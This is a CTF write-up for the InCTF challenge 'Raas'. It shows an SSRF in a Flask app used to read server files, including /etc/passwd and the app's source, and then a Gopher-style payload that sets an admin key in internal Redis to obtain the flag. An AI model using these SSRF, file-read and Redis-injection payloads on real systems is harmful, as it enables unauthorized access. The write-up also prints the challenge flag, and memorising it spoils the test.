Tags: ssrf web
Rating:
# Raas | InCTF
We can see at first a textbox
It just gives `SOME ISSUE OCCURED` when I enter some random things
Let's try a url :
I tried `http://www.google.com` and it worked
So we are working with a `SSRF` here
It tried `http://localhost:6969`, .... but they didnt seem to work
I changed it and tried `file:///etc/passwd`
So we can read files
In the docker file we see that there is a file named `app.py` lets read it with `file://./app.py` :
```py
from flask import Flask, request,render_template,request,make_response
import redis
import time
import os
from utils.random import Upper_Lower_string
from main import Requests_On_Steroids
app = Flask(__name__)
# Make a connection of the queue and redis
r = redis.Redis(host='redis', port=6379)
#r.mset({"Croatia": "Zagreb", "Bahamas": "Nassau"})
#print(r.get("Bahamas"))
@app.route("/",methods=['GET','POST'])
def index():
if request.method == 'POST':
url = str(request.form.get('url'))
resp = Requests_On_Steroids(url)
return resp
else:
resp = make_response(render_template('index.html'))
if not request.cookies.get('userID'):
user=Upper_Lower_string(32)
r.mset({str(user+"_isAdmin"):"false"})
resp.set_cookie('userID', user)
else:
user=request.cookies.get('userID')
flag=r.get(str(user+"_isAdmin"))
if flag == b"yes":
resp.set_cookie('flag',str(os.environ['FLAG']))
else:
resp.set_cookie('flag', "NAAAN")
return resp
if __name__ == "__main__":
app.run('0.0.0.0')
```
We can see that the app is using redis to check if the `cookie+"_isAdmin"` corresponds to `yes`.
I found 2 other interesting files `file://./main.py` `file://./modules/Gophers.py`
main.py
```py
import requests, re, io, socket
from urllib.parse import urlparse, unquote_plus
import os
from modules.Gophers import GopherAdapter
from modules.files import LocalFileAdapter
def Requests_On_Steroids(url):
try:
s = requests.Session()
s.mount("inctf:", GopherAdapter())
s.mount('file://', LocalFileAdapter())
resp = s.get(url)
assert resp.status_code == 200
return(resp.text)
except:
return "SOME ISSUE OCCURED"
#resp = s.get("butts://127.0.0.1:6379/_get dees")
```
Gophers.py
```py
import requests, re, io, socket
from urllib.parse import urlparse, unquote_plus
import os
__ITEM_TYPE_IN_PATH = re.compile(r"(/[0-9+gITdhs])(/.+)")
deitemize = lambda x: __ITEM_TYPE_IN_PATH.sub(lambda m: m.groups()[1], x)
itemized = lambda x: __ITEM_TYPE_IN_PATH.match(x) is not None
class HoldsThings:
"""It's like a namedtuple, but you can't index by number and it's actually mutable."""
def __init__(self, **kwargs):
self.__dict__.update(kwargs)
def parse_url(url):
res = urlparse(url)
ret = HoldsThings(**res._asdict())
if res.query:
ret.path = res.path + "?" + res.query
del ret.query
if not ret.path:
ret.path = "/"
if "\t" in ret.path:
ret.path, ret.query = ret.path.split("\t", 1)
if itemized(ret.path):
ret.path = deitemize(ret.path)
return ret
class GopherAdapter(requests.adapters.BaseAdapter):
def _netloc_to_tuple(self, netloc):
host, sep, port = netloc.rpartition(":")
if sep:
port = int(port)
else:
host = port
port = 1010
return (host, port)
def _connect_and_read(self, parsed):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(self._netloc_to_tuple(parsed.netloc))
msg = parsed.path.replace('/_','')
if hasattr(parsed, "query"):
msg += "\t" + parsed.query
msg += "\r\n"
print(bytes(msg, 'utf-8'))
s.sendall(bytes(msg, 'utf-8'))
f = s.makefile("rb")
res = b""
data = f.readline()
print(data)
f.close()
return res
def _build_response(self, request, res):
resp = requests.Response()
resp.status_code = 400 if (res.startswith(b"3")
or b"\r\n3" in res) else 200
resp.headers = requests.structures.CaseInsensitiveDict({})
resp.encoding = "utf-8"
resp.raw = io.BytesIO(res)
resp.url = request.url
resp.req = request
resp.connection = self
return resp
def send(self, request, **kwargs):
assert request.method == "GET", f"You can't {request.method.lower!r} a Gopher resource!"
parsed = parse_url(unquote_plus(request.url))
res = self._connect_and_read(parsed)
return self._build_response(request, res)
```
We can communicaton with redis via Gopher with the attribute `inctf:`
We see that we can send the command to redis if we type it after `/_`
The host is : `redis`
And the port is : `6379`
as shown in app.py
The payload format will be :
`inctf://redis:6379/_[redis_command]`
So I used this payload to set the cookie :
`inctf://redis:6379/_set QsNqtzrgjfvjkbIhAMWusCxYzRkKCkJR_isAdmin yes`
I url-encoded it and submited it and then accessed the webapp with the same cookie :
And I got the flag~
`inctfi{IDK_WHY_I_EVEN_USED_REDIS_HERE!!!}`